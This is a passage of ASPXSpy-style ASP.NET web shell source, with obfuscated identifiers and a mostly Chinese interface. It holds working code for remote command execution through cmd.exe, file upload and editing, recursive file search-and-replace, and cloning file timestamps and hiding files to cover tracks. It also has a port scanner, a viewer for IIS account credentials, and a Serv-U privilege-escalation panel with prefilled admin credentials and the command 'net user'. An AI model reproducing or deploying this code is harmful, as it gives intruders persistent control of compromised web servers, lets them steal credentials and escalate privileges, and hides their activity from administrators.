  1807. gYP.Start(llH.Value,int.Parse(ZHS.Value),eEpm.Value,int.Parse(iXdh.Value));
  1808. }
  1809. public string mRDl(string instr)
  1810. {
  1811. string tmp=null;
  1812. try
  1813. {
  1814. tmp=System.Net.Dns.Resolve(instr).AddressList[0].ToString();
  1815. }
  1816. catch(Exception e)
  1817. {
  1818. }
  1819. return tmp;
  1820. }
  1821. public void VikG()
  1822. {
  1823. string[] OTV=lOmX.Text.ToString().Split(',');
  1824. for(int i=0;i<OTV.Length;i++)
  1825. {
  1826. IVc.Add(new ScanPort(mRDl(MdR.Text.ToString()),Int32.Parse(OTV[i])));
  1827. }
  1828. try
  1829. {
  1830. Thread[] kbXY=new Thread[IVc.Count];
  1831. int sdO=0;
  1832. for(sdO=0;sdO<IVc.Count;sdO++)
  1833. {
  1834. kbXY[sdO]=new Thread(new ThreadStart(((ScanPort)IVc[sdO]).Scan));
  1835. kbXY[sdO].Start();
  1836. }
  1837. for(sdO=0;sdO<kbXY.Length;sdO++)
  1838. kbXY[sdO].Join();
  1839. }
  1840. catch
  1841. {
  1842. }
  1843. }
  1844. public class ScanPort
  1845. {
  1846. private string _ip="";
  1847. private int jTdO=0;
  1848. private TimeSpan _timeSpent;
  1849. private string QGcH="Not scanned";
  1850. public string ip
  1851. {
  1852. get { return _ip;}
  1853. }
  1854. public int port
  1855. {
  1856. get { return jTdO;}
  1857. }
  1858. public string status
  1859. {
  1860. get { return QGcH;}
  1861. }
  1862. public TimeSpan timeSpent
  1863. {
  1864. get { return _timeSpent;}
  1865. }
  1866. public ScanPort(string ip,int port)
  1867. {
  1868. _ip=ip;
  1869. jTdO=port;
  1870. }
  1871. public void Scan()
  1872. {
  1873. TcpClient iYap=new TcpClient();
  1874. DateTime qYZT=DateTime.Now;
  1875. try
  1876. {
  1877. iYap.Connect(_ip,jTdO);
  1878. iYap.Close();
  1879. QGcH="<font color=green><b>Open</b></font>";
  1880. }
  1881. catch
  1882. {
  1883. QGcH="<font color=red><b>Close</b></font>";
  1884. }
  1885. _timeSpent=DateTime.Now.Subtract(qYZT);
  1886. }
  1887. }
  1888. public static void YFcNP(System.Web.UI.Page page)
  1889. {
  1890. page.RegisterHiddenField("__EVENTTARGET","");
  1891. page.RegisterHiddenField("__FILE","");
  1892. string s=@"<script language=Javascript>";
  1893. s+=@"function Bin_PostBack(eventTarget,eventArgument)";
  1894. s+=@"{";
  1895. s+=@"var theform=document.forms[0];";
  1896. s+=@"theform.__EVENTTARGET.value=eventTarget;";
  1897. s+=@"theform.__FILE.value=eventArgument;";
  1898. s+=@"theform.submit();";
  1899. s+=@"} ";
  1900. s+=@"</scr"+"ipt>";
  1901. page.RegisterStartupScript("",s);
  1902. }
  1903. protected void PPtK(object sender,EventArgs e)
  1904. {
  1905. WICxe();
  1906. yhv.Visible=true;
  1907. Bin_H2_Title.InnerText="文件搜索 >>";
  1908. NaLJ.Value=Request.PhysicalApplicationPath;
  1909. oJiym.Visible=false;
  1910. }
  1911. protected void NBy(object sender,EventArgs e)
  1912. {
  1913. DirectoryInfo GQMM=new DirectoryInfo(NaLJ.Value);
  1914. if(!GQMM.Exists)
  1915. {
  1916. xseuB("Path invalid ! ");
  1917. return;
  1918. }
  1919. oog(GQMM);
  1920. xseuB("Search completed ! ");
  1921. }
  1922. public void oog(DirectoryInfo dir)
  1923. {
  1924. try
  1925. {
  1926. oJiym.Visible=true;
  1927. foreach(FileInfo Bin_Files in dir.GetFiles())
  1928. {
  1929. try
  1930. {
  1931. if(Bin_Files.FullName==Request.PhysicalPath)
  1932. {
  1933. continue;
  1934. }
  1935. if(!Regex.IsMatch(Bin_Files.Extension.Replace(".",""),"^("+UDLvA.Value+")$",RegexOptions.IgnoreCase))
  1936. {
  1937. continue;
  1938. }
  1939. if(Ven.SelectedItem.Value=="name")
  1940. {
  1941. if(rAQ.Checked)
  1942. {
  1943. if(Regex.IsMatch(Bin_Files.Name,iaMKl.Value,RegexOptions.IgnoreCase))
  1944. {
  1945. FJvQ(Bin_Files);
  1946. }
  1947. }
  1948. else
  1949. {
  1950. if(Bin_Files.Name.ToLower().IndexOf(iaMKl.Value.ToLower())!=-1)
  1951. {
  1952. Response.Write(Bin_Files.FullName);
  1953. FJvQ(Bin_Files);
  1954. }
  1955. }
  1956. }
  1957. else
  1958. {
  1959. StreamReader sr=new StreamReader(Bin_Files.FullName,Encoding.Default);
  1960. string ava=sr.ReadToEnd();
  1961. sr.Close();
  1962. if(rAQ.Checked)
  1963. {
  1964. if(Regex.IsMatch(ava,iaMKl.Value,RegexOptions.IgnoreCase))
  1965. {
  1966. FJvQ(Bin_Files);
  1967. if(YZw.Checked)
  1968. {
  1969. ava=Regex.Replace(ava,iaMKl.Value,qPe.Value,RegexOptions.IgnoreCase);
  1970. StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default);
  1971. sw.Write(ava);
  1972. sw.Close();
  1973. }
  1974. }
  1975. }
  1976. else
  1977. {
  1978. if(ava.ToLower().IndexOf(iaMKl.Value.ToLower())!=-1)
  1979. {
  1980. FJvQ(Bin_Files);
  1981. if(YZw.Checked)
  1982. {
  1983. ava=Strings.Replace(ava,iaMKl.Value,qPe.Value,1,-1,CompareMethod.Text);
  1984. StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default);
  1985. sw.Write(ava);
  1986. sw.Close();
  1987. }
  1988. }
  1989. }
  1990. }
  1991. }
  1992. catch(Exception ex)
  1993. {
  1994. xseuB(ex.Message);
  1995. continue;
  1996. }
  1997. }
  1998. foreach(DirectoryInfo subdir in dir.GetDirectories())
  1999. {
  2000. oog(subdir);
  2001. }
  2002. }
  2003. catch(Exception ex)
  2004. {
  2005. xseuB(ex.Message);
  2006. }
  2007. }
  2008. public void FJvQ(FileInfo objfile)
  2009. {
  2010. TableRow tr=new TableRow();
  2011. TableCell tc=new TableCell();
  2012. string bg=OKM();
  2013. tr.Attributes["onmouseover"]="this.className='focus';";
  2014. tr.CssClass=bg;
  2015. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  2016. tc.Text="<a href="javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(objfile.DirectoryName)+"')">"+objfile.FullName+"</a>";
  2017. tr.Cells.Add(tc);
  2018. tc=new TableCell();
  2019. tc.Text=objfile.LastWriteTime.ToString();
  2020. tr.Cells.Add(tc);
  2021. tc=new TableCell();
  2022. tc.Text=mTG(objfile.Length);
  2023. tr.Cells.Add(tc);
  2024. oJiym.Rows.Add(tr);
  2025. }
  2026. public void xseuB(string instr)
  2027. {
  2028. jDKt.Visible=true;
  2029. jDKt.InnerText=instr;
  2030. }
  2031. protected void xVm(object sender,EventArgs e)
  2032. {
  2033. string Jfm=FormsAuthentication.HashPasswordForStoringInConfigFile(HRJ.Text,"MD5").ToLower();
  2034. if(Jfm==Password)
  2035. {
  2036. Response.Cookies.Add(new HttpCookie(vbhLn,Password));
  2037. ljtzC.Visible=false;
  2038. PBZw();
  2039. }
  2040. else
  2041. {
  2042. tZSx();
  2043. }
  2044. }
  2045. protected void Ybg(object sender,EventArgs e)
  2046. {
  2047. krIR(Server.MapPath("."));
  2048. }
  2049. protected void KjPi(object sender,EventArgs e)
  2050. {
  2051. Bin_H2_Title.InnerText="IIS探测 >>";
  2052. WICxe();
  2053. VNR.Visible=true;
  2054. AdCx();
  2055. }
  2056. protected void DGCoW(object sender,EventArgs e)
  2057. {
  2058. try
  2059. {
  2060. StreamWriter sw;
  2061. if(NdCX.SelectedItem.Text=="UTF-8")
  2062. {
  2063. sw=new StreamWriter(Sqon.Value,false,Encoding.UTF8);
  2064. }
  2065. else
  2066. {
  2067. sw=new StreamWriter(Sqon.Value,false,Encoding.Default);
  2068. }
  2069. sw.Write(Xgvv.InnerText);
  2070. sw.Close();
  2071. xseuB("Save file success !");
  2072. }
  2073. catch(Exception error)
  2074. {
  2075. xseuB(error.Message);
  2076. }
  2077. krIR(AXSbb.Value);
  2078. }
  2079. protected void lbjLD(object sender,EventArgs e)
  2080. {
  2081. string FlwA=AXSbb.Value;
  2082. FlwA=OElM(FlwA);
  2083. try
  2084. {
  2085. Fhq.PostedFile.SaveAs(FlwA+Path.GetFileName(Fhq.Value));
  2086. xseuB("File upload success!");
  2087. }
  2088. catch(Exception error)
  2089. {
  2090. xseuB(error.Message);
  2091. }
  2092. krIR(AXSbb.Value);
  2093. }
  2094. protected void EXV(object sender,EventArgs e)
  2095. {
  2096. krIR(AXSbb.Value);
  2097. }
  2098. protected void mcCY(object sender,EventArgs e)
  2099. {
  2100. krIR(Server.MapPath("."));
  2101. }
  2102. protected void iVk(object sender,CommandEventArgs e)
  2103. {
  2104. krIR(e.CommandArgument.ToString());
  2105. }
  2106. protected void XXrLw(object sender,EventArgs e)
  2107. {
  2108. try
  2109. {
  2110. File.SetCreationTimeUtc(QiFB.Value,File.GetCreationTimeUtc(lICp.Value));
  2111. File.SetLastAccessTimeUtc(QiFB.Value,File.GetLastAccessTimeUtc(lICp.Value));
  2112. File.SetLastWriteTimeUtc(QiFB.Value,File.GetLastWriteTimeUtc(lICp.Value));
  2113. xseuB("File time clone success!");
  2114. }
  2115. catch(Exception error)
  2116. {
  2117. xseuB(error.Message);
  2118. }
  2119. krIR(AXSbb.Value);
  2120. }
  2121. protected void tIykC(object sender,EventArgs e)
  2122. {
  2123. string path=pWVL.Value;
  2124. try
  2125. {
  2126. File.SetAttributes(path,FileAttributes.Normal);
  2127. if(ZhWSK.Checked)
  2128. {
  2129. File.SetAttributes(path,FileAttributes.ReadOnly);
  2130. }
  2131. if(SsR.Checked)
  2132. {
  2133. File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.System);
  2134. }
  2135. if(ccB.Checked)
  2136. {
  2137. File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Hidden);
  2138. }
  2139. if(fbyZ.Checked)
  2140. {
  2141. File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Archive);
  2142. }
  2143. File.SetCreationTimeUtc(path,Convert.ToDateTime(yUqx.Value));
  2144. File.SetLastAccessTimeUtc(path,Convert.ToDateTime(aLsn.Value));
  2145. File.SetLastWriteTimeUtc(path,Convert.ToDateTime(uYjw.Value));
  2146. xseuB("File attributes modify success!");
  2147. }
  2148. catch(Exception error)
  2149. {
  2150. xseuB(error.Message);
  2151. }
  2152. krIR(AXSbb.Value);
  2153. }
  2154. protected void VOxn(object sender,EventArgs e)
  2155. {
  2156. WICxe();
  2157. vIac.Visible=true;
  2158. Bin_H2_Title.InnerText="执行命令>>";
  2159. }
  2160. protected void FbhN(object sender,EventArgs e)
  2161. {
  2162. try
  2163. {
  2164. Process ahAE=new Process();
  2165. ahAE.StartInfo.FileName=kusi.Value;
  2166. ahAE.StartInfo.Arguments=bkcm.Value;
  2167. ahAE.StartInfo.UseShellExecute=false;
  2168. ahAE.StartInfo.RedirectStandardInput=true;
  2169. ahAE.StartInfo.RedirectStandardOutput=true;
  2170. ahAE.StartInfo.RedirectStandardError=true;
  2171. ahAE.Start();
  2172. string Uoc=ahAE.StandardOutput.ReadToEnd();
  2173. Uoc=Uoc.Replace("<","<");
  2174. Uoc=Uoc.Replace(">",">");
  2175. Uoc=Uoc.Replace("\r\n","<br>");
  2176. tnQRF.Visible=true;
  2177. tnQRF.InnerHtml="<hr width="100%" noshade/><pre>"+Uoc+"</pre>";
  2178. }
  2179. catch(Exception error)
  2180. {
  2181. xseuB(error.Message);
  2182. }
  2183. }
  2184. protected void RAFL(object sender,EventArgs e)
  2185. {
  2186. if(qPdI.Text.Length>0)
  2187. {
  2188. tpRQ(qPdI.Text);
  2189. }
  2190. else
  2191. {
  2192. lFAvw();
  2193. }
  2194. }
  2195. protected void Grxk(object sender,EventArgs e)
  2196. {
  2197. YUw();
  2198. }
  2199. protected void ilC(object sender,EventArgs e)
  2200. {
  2201. tZRH();
  2202. }
  2203. protected void HtB(object sender,EventArgs e)
  2204. {
  2205. pDVM();
  2206. }
  2207. protected void Olm(object sender,EventArgs e)
  2208. {
  2209. iLVUT();
  2210. }
  2211. protected void jXhS(object sender,EventArgs e)
  2212. {
  2213. ADCpk();
  2214. }
  2215. protected void lRfRj(object sender,EventArgs e)
  2216. {
  2217. lDODR();
  2218. }
  2219. protected void xSy(object sender,EventArgs e)
  2220. {
  2221. xFhz();
  2222. }
  2223. protected void dMx(object sender,EventArgs e)
  2224. {
  2225. rAhe();
  2226. }
  2227. protected void zOVO(object sender,EventArgs e)
  2228. {
  2229. if(((DropDownList)sender).ID.ToString()=="WYmo")
  2230. {
  2231. dQIIF.Visible=false;
  2232. MasR.Text=WYmo.SelectedItem.Value.ToString();
  2233. }
  2234. if(((DropDownList)sender).ID.ToString()=="Pvf")
  2235. {
  2236. xTZY();
  2237. }
  2238. if(((DropDownList)sender).ID.ToString()=="FGEy")
  2239. {
  2240. jHIy.InnerText=FGEy.SelectedItem.Value.ToString();
  2241. }
  2242. if(((DropDownList)sender).ID.ToString()=="NdCX")
  2243. {
  2244. gLKc(Sqon.Value);
  2245. }
  2246. }
  2247. protected void IkkO(object sender,EventArgs e)
  2248. {
  2249. krIR(AXSbb.Value);
  2250. }
  2251. protected void BGY(object sender,EventArgs e)
  2252. {
  2253. vCf();
  2254. }
  2255. protected void cptS(object sender,EventArgs e)
  2256. {
  2257. vNCHZ();
  2258. }
  2259. protected void fDO(object sender,EventArgs e)
  2260. {
  2261. MHLv();
  2262. }
  2263. protected void vJNsE(object sender,EventArgs e)
  2264. {
  2265. vuou();
  2266. xseuB("Clear All Thread ......");
  2267. }
  2268. protected void wDZ(object sender,EventArgs e)
  2269. {
  2270. if(iXdh.Value=="" || eEpm.Value.Length<7 || ZHS.Value=="")return;
  2271. ruQO();
  2272. xseuB("All Thread Start ......");
  2273. }
  2274. protected void tYoZ(object sender,EventArgs e)
  2275. {
  2276. }
  2277. protected void ELkQ(object sender,EventArgs e)
  2278. {
  2279. VikG();
  2280. GBYT.Visible=true;
  2281. string res=string.Empty;
  2282. foreach(ScanPort th in IVc)
  2283. {
  2284. res+=th.ip+" : "+th.port+" ................................. "+th.status+"<br>";
  2285. }
  2286. GBYT.InnerHtml=res;
  2287. }
  2288. protected void ORUgV(object sender,EventArgs e)
  2289. {
  2290. dwgT();
  2291. }
  2292. public void WICxe()
  2293. {
  2294. DCbS.Visible=false;
  2295. CzfO.Visible=false;
  2296. APl.Visible=false;
  2297. vIac.Visible=false;
  2298. kkHN.Visible=false;
  2299. YwLB.Visible=false;
  2300. iDgmL.Visible=false;
  2301. hOWTm.Visible=false;
  2302. vrFA.Visible=false;
  2303. yhv.Visible=false;
  2304. }
  2305. </script>
  2306. <html xmlns="http://www.w3.org/1999/xhtml" >
  2307. <head id="Head1" runat="server">
  2308. <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
  2309. <title>☆銥繎夶蟲___Ёnd</title>
  2310. <style type="text/css">
  2311. .Bin_Style_Login{font-size: 12px; font-family:Tahoma;background-color:#ddd;border:1px solid #fff;}
  2312. body,td{font: 12px Tahoma,Arial;line-height: 16px; background-color:#003300; color:lime;}
  2313. .input{font-size: 12px;background-color:#ddd;border:1px solid #fff;}
  2314. .list{font-size: 12px;background-color:#ddd;border:1px solid #fff;}
  2315. .area{font-size: 12px;background-color:#ddd;border:1px solid #fff;padding:2px;}
  2316. .bt {font-size: 12px;background-color:#ddd;border:1px solid #fff;}
  2317. a {color:lime;text-decoration: none;}a:hover{color:lime;}
  2318. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#003300;padding:5px 10px 5px 5px;}
  2319. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#003300;padding:5px 10px 5px 5px;}
  2320. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#015201;padding:5px 10px 5px 5px;}
  2321. .head td{border-top:1px solid #ddd;border-bottom:1px solid #ccc;background:#073b07;padding:5px 10px 5px 5px;font-weight:bold;}
  2322. .head td span{font-weight:normal;}
  2323. form{margin:0;padding:0;}
  2324. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:lime;}
  2325. ul.info li{margin:0;color:lime;line-height:24px;height:24px;}
  2326. u{text-decoration: none;color:lime;float:left;display:block;width:150px;margin-right:10px;}
  2327. .u1{text-decoration: none;color:lime;float:left;display:block;width:150px;margin-right:10px;}
  2328. .u2{text-decoration: none;color:lime;float:left;display:block;width:350px;margin-right:10px;}
  2329. </style>
  2330. <script type="text/javascript">
  2331. function CheckAll(form){
  2332. for(var i=0;i<form.elements.length;i++){
  2333. var e=form.elements[i];
  2334. if(e.name!='chkall')
  2335. e.checked=form.chkall.checked;
  2336. }
  2337. }
  2338. </script>
  2339. </head>
  2340. <body style="margin:0;table-layout:fixed;">
  2341. <form id="ASPXSpy" runat="server">
  2342. <div id="ljtzC" runat="server" style=" margin:15px" enableviewstate="false" visible="false" >
  2343. <span style="font:11px Verdana;">Password:</span>
  2344. <asp:TextBox ID="HRJ" runat="server" Columns="20" CssClass="Bin_Style_Login" ></asp:TextBox>
  2345. <asp:Button ID="ZSnXu" runat="server" Text="Login" CssClass="Bin_Style_Login" OnClick="xVm"/><p/>
  2346. </div>
  2347. <div id="ZVS" runat="server">
  2348. <div id="Zzj" runat="server">
  2349. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  2350. <tr class="head">
  2351. <td ><span style="float:right;"><a href="http://www.on-e.cn" target="_blank">☆銥繎夶蟲___Ёnd</a></span><span id="Bin_Span_Sname" runat="server" enableviewstate="true"></span></td>
  2352. </tr>
  2353. <tr class="alt1">
  2354. <td><span style="float:right;" id="Bin_Span_FrameVersion" runat="server"></span>
  2355. <asp:LinkButton ID="UtkN" runat="server" OnClick="YKpI" Text="退出登录" ></asp:LinkButton> | <asp:LinkButton ID="RsqhW" runat="server" Text="文件(夹)管理" OnClick="Ybg"></asp:LinkButton> | <asp:LinkButton ID="xxzE" runat="server" Text="Cmd命令" OnClick="VOxn"></asp:LinkButton> | <asp:LinkButton ID="nuc" runat="server" Text="IIS探测" OnClick="KjPi"></asp:LinkButton> | <asp:LinkButton ID="OREpx" runat="server" Text="系统进程" OnClick="Grxk"></asp:LinkButton> | <asp:LinkButton ID="jHN" runat="server" Text="系统服务" OnClick="ilC"></asp:LinkButton> | <asp:LinkButton ID="PHq" runat="server" Text="用户(组)信息" OnClick="Olm"></asp:LinkButton> | <asp:LinkButton ID="wmgnK" runat="server" Text="系统信息" OnClick="HtB"></asp:LinkButton> | <asp:LinkButton ID="FeV" runat="server" Text="文件搜索" OnClick="PPtK"></asp:LinkButton> | <asp:LinkButton ID="PVQ" runat="server" Text="Serv-U提权" OnClick="jXhS"></asp:LinkButton> | <asp:LinkButton ID="jNDb" runat="server" Text="注册表查询" OnClick="xSy"></asp:LinkButton> | <asp:LinkButton ID="HDQ" runat="server" Text="端口扫描" OnClick="cptS" ></asp:LinkButton> | <asp:LinkButton ID="AoI" runat="server" Text="数据库管理" OnClick="dMx"></asp:LinkButton> | <asp:LinkButton ID="KHbEd" runat="server" Text="端口映射" OnClick="fDO"></asp:LinkButton>
  2356. </td>
  2357. </tr>
  2358. </table>
  2359. </div>
  2360. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  2361. <div id="jDKt" style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;" runat="server" visible="false" enableviewstate="false"></div>
  2362. <h2 id="Bin_H2_Title" runat="server"></h2>
  2363. <%--FileList--%>
  2364. <div id="CzfO" runat="server">
  2365. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  2366. <tr>
  2367. <td style=" white-space:nowrap">当前目录 : </td>
  2368. <td style=" width:100%"><input class="input" id="AXSbb" type="text" style="width:97%;margin:0 8px;" runat="server"/>
  2369. </td>
  2370. <td style="white-space:nowrap" ><asp:Button ID="xaGwl" runat="server" Text="Go" CssClass="bt" OnClick="EXV"/></td>
  2371. </tr>
  2372. </table>
  2373. <table width="100%" border="0" cellpadding="4" cellspacing="0">
  2374. <tr class="alt1"><td colspan="7" style="padding:5px;">
  2375. <div style="float:right;"><input id="Fhq" class="input" runat="server" type="file" style=" height:22px"/>
  2376. <asp:Button ID="RvPp" CssClass="bt" runat="server" Text="上传" OnClick="lbjLD"/></div><asp:LinkButton ID="OLJFp" runat="server" Text="网站目录" OnClick="mcCY"></asp:LinkButton> | <a href="#" id="Bin_Button_CreateDir" runat="server">木马目录</a> | <a href="#" id="Bin_Button_CreateFile" runat="server">新建目录</a>
  2377. | <span id="Bin_Span_Drv" runat="server"></span><a href="#" id="Bin_Button_KillMe" runat="server" style="color:Red">木马自杀</a>
  2378. </td></tr>
  2379. <asp:Table ID="UGzP" runat="server" Width="100%" CellSpacing="0" >
  2380. <asp:TableRow CssClass="head"><asp:TableCell> </asp:TableCell><asp:TableCell>文件(夹)名</asp:TableCell><asp:TableCell Width="25%">最后修改时间</asp:TableCell><asp:TableCell Width="15%">大小</asp:TableCell><asp:TableCell Width="25%">操作</asp:TableCell></asp:TableRow>
  2381. </asp:Table>
  2382. </table>
  2383. </div>
  2384. <%--FileEdit--%>
  2385. <div id="vrFA" runat="server">
  2386. <p>当前文件（创建新的文件名和新文件）<br/>
  2387. <input class="input" id="Sqon" type="text" size="100" runat="server"/> <asp:DropDownList ID="NdCX" runat="server" CssClass="list" AutoPostBack="true" OnSelectedIndexChanged="zOVO"><asp:ListItem>Default</asp:ListItem><asp:ListItem>UTF-8</asp:ListItem></asp:DropDownList>
  2388. </p>
  2389. <p>文件内容<br/>
  2390. <textarea id="Xgvv" runat="server" class="area" cols="100" rows="25" enableviewstate="true" ></textarea>
  2391. </p>
  2392. <p><asp:Button ID="JJjbW" runat="server" Text="提交" CssClass="bt" OnClick="DGCoW"/> <asp:Button ID="iCNu" runat="server" Text="返回" CssClass="bt" OnClick="IkkO"/></p>
  2393. </div>
  2394. <%--CloneTime--%>
  2395. <div id="zRyG" runat="server" enableviewstate="false" visible="false">
  2396. <p>修改文件<br/><input class="input" id="QiFB" type="text" size="120" runat="server"/></p>
  2397. <p>参考文件<br/><input class="input" id="lICp" type="text" size="120" runat="server"/></p>
  2398. <p><asp:Button ID="JEaxV" runat="server" Text="提交" CssClass="bt" OnClick="XXrLw"/></p>
  2399. <h2>设置最后修改时间 &#187;</h2>
  2400. <p>当前文件<br/><input class="input" id="pWVL" type="text" size="120" runat="server"/></p>
  2401. <p>
  2402. <asp:CheckBox ID="ZhWSK" runat="server" Text="只读" EnableViewState="False"/>

  2404. <asp:CheckBox ID="SsR" runat="server" Text="系统" EnableViewState="False"/>

  2406. <asp:CheckBox ID="ccB" runat="server" Text="隐藏" EnableViewState="False"/>

  2408. <asp:CheckBox ID="fbyZ" runat="server" Text="存档" EnableViewState="False"/>
  2409. </p>
  2410. <p>
  2411. 创建时间 :
  2412. <input class="input" id="yUqx" type="text" runat="server"/>
  2413. 最后修改时间 :
  2414. <input class="input" id="uYjw" type="text" runat="server"/>
  2415. 最后访问时间 :
  2416. <input class="input" id="aLsn" type="text" runat="server"/>
  2417. </p>
  2418. <p>
  2419. <asp:Button ID="kOG" CssClass="bt" runat="server" Text="提交" OnClick="tIykC"/>
  2420. </p>
  2421. </div>
  2422. <%--IISSpy--%>
  2423. <div runat="server" id="VNR" visible="false" enableviewstate="false">
  2424. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2425. <asp:Table ID="GlI" runat="server" Width="100%" CellSpacing="0">
  2426. <asp:TableRow CssClass="head"><asp:TableCell>ID</asp:TableCell><asp:TableCell>IIS_USER</asp:TableCell><asp:TableCell>IIS_PASS</asp:TableCell><asp:TableCell>Domain</asp:TableCell><asp:TableCell>Path</asp:TableCell></asp:TableRow>
  2427. </asp:Table>
  2428. </table>
  2429. </div>
  2430. <%--Process--%>
  2431. <div runat="server" id="DCbS" visible="false" enableviewstate="false">
  2432. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2433. <asp:Table ID="IjsL" runat="server" Width="100%" CellSpacing="0" >
  2434. <asp:TableRow CssClass="head"><asp:TableCell></asp:TableCell><asp:TableCell>ID</asp:TableCell><asp:TableCell>Process</asp:TableCell><asp:TableCell>ThreadCount</asp:TableCell><asp:TableCell>Priority</asp:TableCell><asp:TableCell>Action</asp:TableCell></asp:TableRow>
  2435. </asp:Table>
  2436. </table>
  2437. </div>
  2438. <%--CmdShell--%>
  2439. <div runat="server" id="vIac">
  2440. <p>Cmd路径:<br/>
  2441. <input class="input" runat="server" id="kusi" type="text" size="100" value="c:\windows\system32\cmd.exe"/>
  2442. </p>
  2443. 语句:<br/>
  2444. <input class="input" runat="server" id="bkcm" value="/c Set" type="text" size="100"/> <asp:Button ID="YrqL" CssClass="bt" runat="server" Text="执行" OnClick="FbhN"/>
  2445. <div id="tnQRF" runat="server" visible="false" enableviewstate="false">
  2446. </div>
  2447. </div>
  2448. <%--Services--%>
  2449. <div runat="server" id="iQxm" visible ="false" enableviewstate="false">
  2450. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2451. <asp:Table ID="vHCs" runat="server" Width="100%" CellSpacing="0" >
  2452. <asp:TableRow CssClass="head"><asp:TableCell></asp:TableCell><asp:TableCell>ID</asp:TableCell><asp:TableCell>Name</asp:TableCell><asp:TableCell>Path</asp:TableCell><asp:TableCell>State</asp:TableCell><asp:TableCell>StartMode</asp:TableCell></asp:TableRow>
  2453. </asp:Table>
  2454. </table>
  2455. </div>
  2456. <%--Sysinfo--%>
  2457. <div runat="server" id="ghaB" visible="false" enableviewstate="false">
  2458. <hr style=" border: 1px solid #ddd;height:0px;"/>
  2459. <ul class="info" id="Bin_Ul_Sys" runat="server"></ul>
  2460. <h2 id="Bin_H2_Mac" runat="server"></h2>
  2461. <hr style=" border: 1px solid #ddd;height:0px;"/>
  2462. <ul class="info" id ="Bin_Ul_NetConfig" runat="server"></ul>
  2463. <h2 id="Bin_H2_Driver" runat="server"></h2>
  2464. <hr style=" border: 1px solid #ddd;height:0px;"/>
  2465. <ul class="info" id ="Bin_Ul_Driver" runat="server"></ul>
  2466. </div>
  2467. <%--UserInfo--%>
  2468. <div runat="server" id="xWVQ" visible="false" enableviewstate="false">
  2469. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2470. <asp:Table ID="VPa" runat="server" Width="100%" CellSpacing="0" >
  2471. </asp:Table>
  2472. </table>
  2473. </div>
  2474. <%--SuExp--%>
  2475. <div runat="server" id="APl">
  2476. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2477. <tr align="center">
  2478. <td style="width:10%"></td>
  2479. <td style="width:20%" align="left">用户名 : <input class="input" runat="server" id="dNohJ" type="text" size="20" value="localadministrator"/></td>
  2480. <td style="width:20%" align="left">密码 : <input class="input" runat="server" id="NMd" type="text" size="20" value="#l@$ak#.lk;0@P"/></td>
  2481. <td style="width:20%" align="left">端口 : <input class="input" runat="server" id="HlQl" type="text" size="20" value="43958"/></td>
  2482. <td style="width:10%"></td>
  2483. </tr>
  2484. <tr >
  2485. <td style="width:10%"></td>
  2486. <td colspan="5">CmdShell  : <input class="input" runat="server" id="mHbjB" type="text" size="100" value="cmd.exe /c net user"/> <asp:Button ID="SPhc" CssClass="bt" runat="server" Text="执行" OnClick="lRfRj"/></td>
  2487. </tr>
  2488. </table>
  2489. <div id="UHlA" visible="false" enableviewstate="false" runat="server">
  2490. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2491. <tr align="center">
  2492. <td style="width:30%"></td>
  2493. <td align="left" style="width:40%"><pre id="Bin_Td_Res" runat="server"></pre></td>
  2494. <td style="width:30%"></td>
  2495. </tr>
  2496. </table>
  2497. </div>
  2498. </div>
  2499. <%--Reg--%>
  2500. <div id="kkHN" runat="server">
  2501. <p>注册表路径 : <asp:TextBox id="qPdI" style="width:85%;margin:0 8px;" CssClass="input" runat="server"/><asp:Button ID="MoNA" runat="server" Text="Go" CssClass="bt" onclick="RAFL"/></p>
  2502. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  2503. <asp:Table ID="pLWD" runat="server" Width="100%" CellSpacing="0" >
  2504. <asp:TableRow CssClass="alt1"><asp:TableCell ColumnSpan="2" id="vyX"></asp:TableCell></asp:TableRow>
  2505. <asp:TableRow CssClass="head"><asp:TableCell Width="40%">Key</asp:TableCell><asp:TableCell Width="60%">Value</asp:TableCell></asp:TableRow>
  2506. </asp:Table>
  2507. </table>
  2508. </div>
  2509. <%--PortScan--%>
  2510. <div id="YwLB" runat="server">
  2511. <p>
  2512. IP : <asp:TextBox id="MdR" style="width:10%;margin:0 8px;" CssClass="input" runat="server" Text="127.0.0.1"/> 端口 : <asp:TextBox id="lOmX" style="width:40%;margin:0 8px;" CssClass="input" runat="server" Text="21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"/> <asp:Button ID="CmUCh" runat="server" Text="扫描" CssClass="bt" OnClick="ELkQ"/>
  2513. </p>
  2514. <div id="GBYT" runat="server" visible="false" enableviewstate="false"></div>
  2515. </div>
  2516. <%--DataBase--%>
  2517. <div id="iDgmL" runat="server">
